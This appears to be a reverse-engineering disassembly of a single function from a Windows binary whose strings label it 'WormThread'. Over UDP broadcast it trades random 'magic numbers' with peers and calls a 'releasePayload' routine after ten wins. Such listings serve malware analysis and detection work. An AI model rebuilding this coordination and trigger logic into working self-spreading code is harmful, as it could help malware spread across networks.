Function at 0x1400017e7
Capabilities:
Create udp socket
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
mov dword [rbp + 0x1dc], 0x10
mov dword [rbp + 0x3ac], 0
mov dword [rbp + 0x3a8], 0
mov dword [rbp - 0x48], 5
mov dword [rbp - 0x44], 0
lea rax, [rbp + 0x210]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x14000185c
lea rcx, str.WormThread:_WSAStartup_failed_n
call sym.printf_char_const__::_
jmp 0x140001c4c
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x3b8], rax
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b8], 0xffffffffffffffff
je 0x1400018b0
cmp qword [rbp + 0x3b0], 0xffffffffffffffff
jne 0x1400018c1
lea rcx, str.WormThread:_invalid_socket_n
call sym.printf_char_const__::_
jmp 0x140001c4c
lea rax, [rbp + 0x1f0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x200]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x200], 2
mov ecx, 0x3039
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x202], ax
mov dword [rbp + 0x204], 0
lea rax, [rbp + 0x1e0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x1e0], 2
mov ecx, 0x3039
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1e2], ax
mov dword [rbp + 0x1e4], 0xffffffff
mov dword [rbp + 0x1d8], 1
lea rdx, [rbp + 0x1d8]
mov rax, qword [rbp + 0x3b0]
mov dword [rsp + 0x20], 4
mov r9, rdx
mov r8d, 0x20
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x1400019b4
lea rcx, str.WormThread:_setsocketopt_failed_n
call sym.printf_char_const__::_
jmp 0x140001c4c
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x3b8]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_bind]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x1400019ef
lea rcx, str.WormThread:_bind_failed_n
call sym.printf_char_const__::_
jmp 0x140001c4c
mov dword [rbp - 0x40], 0
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x140001a17
mov eax, dword [rbp - 0x40]
lea edx, [rax + 1]
mov dword [rbp - 0x40], edx
mov edx, eax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + rdx*8 - 0x38], rax
jmp 0x140001a18
nop
cmp dword [rbp + 0x3ac], 9
jle 0x140001a30
call sym.releasePayload__
mov dword [rbp + 0x3ac], 0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
lea eax, [rdx + 1]
mov dword [rbp + 0x3a8], eax
mov eax, dword [rbp + 0x3a8]
mov edx, eax
lea rcx, str.WormThread:_picked_a_magic_num:__d_n
call sym.printf_char_const__::_
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov byte [rbp + 0x1d0], 0xff
mov eax, dword [rbp + 0x3a8]
mov dword [rbp + 0x1d4], eax
mov ecx, dword [rbp + 0x1dc]
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x3b0]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140001ae9
lea rcx, str.WormThread:_sendto_failed_n
call sym.printf_char_const__::_
jmp 0x140001c4c
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
cmp eax, 0xffffffff
setne al
test al, al
je 0x140001a18
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x3b8]
lea rcx, [rbp + 0x1dc]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recvfrom]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140001b7a
lea rcx, str.WormThread:_recvfrom_failed_n
call sym.printf_char_const__::_
jmp 0x140001c47
movzx eax, byte [rbp + 0x1d0]
movzx eax, al
cmp eax, 0x80
je 0x140001c1b
cmp eax, 0xff
jne 0x140001c33
mov eax, dword [rbp + 0x1d4]
mov edx, eax
lea rcx, str.WormThread:_recieved_a_magic_num:__d_n
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x1d4]
cmp dword [rbp + 0x3a8], eax
jne 0x140001c41
mov byte [rbp + 0x1d0], pe_nt_image_headers64
mov eax, dword [rbp + 0x1f4]
mov dword [rbp + 0x1e4], eax
mov ecx, dword [rbp + 0x1dc]
lea rdx, [rbp + 0x1d0]
mov rax, qword [rbp + 0x3b0]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 8
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
mov dword [rbp + 0x1e4], 0xffffffff
jmp 0x140001c41
lea rcx, str.WormThread:_IM_A_WINNER____n
call sym.printf_char_const__::_
add dword [rbp + 0x3ac], 1
jmp 0x140001a18
lea rcx, str.WormThread:_its_all_gone_bugfuck__n
call sym.printf_char_const__::_
jmp 0x140001c42
nop
jmp 0x140001ae9
jmp 0x140001a18
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop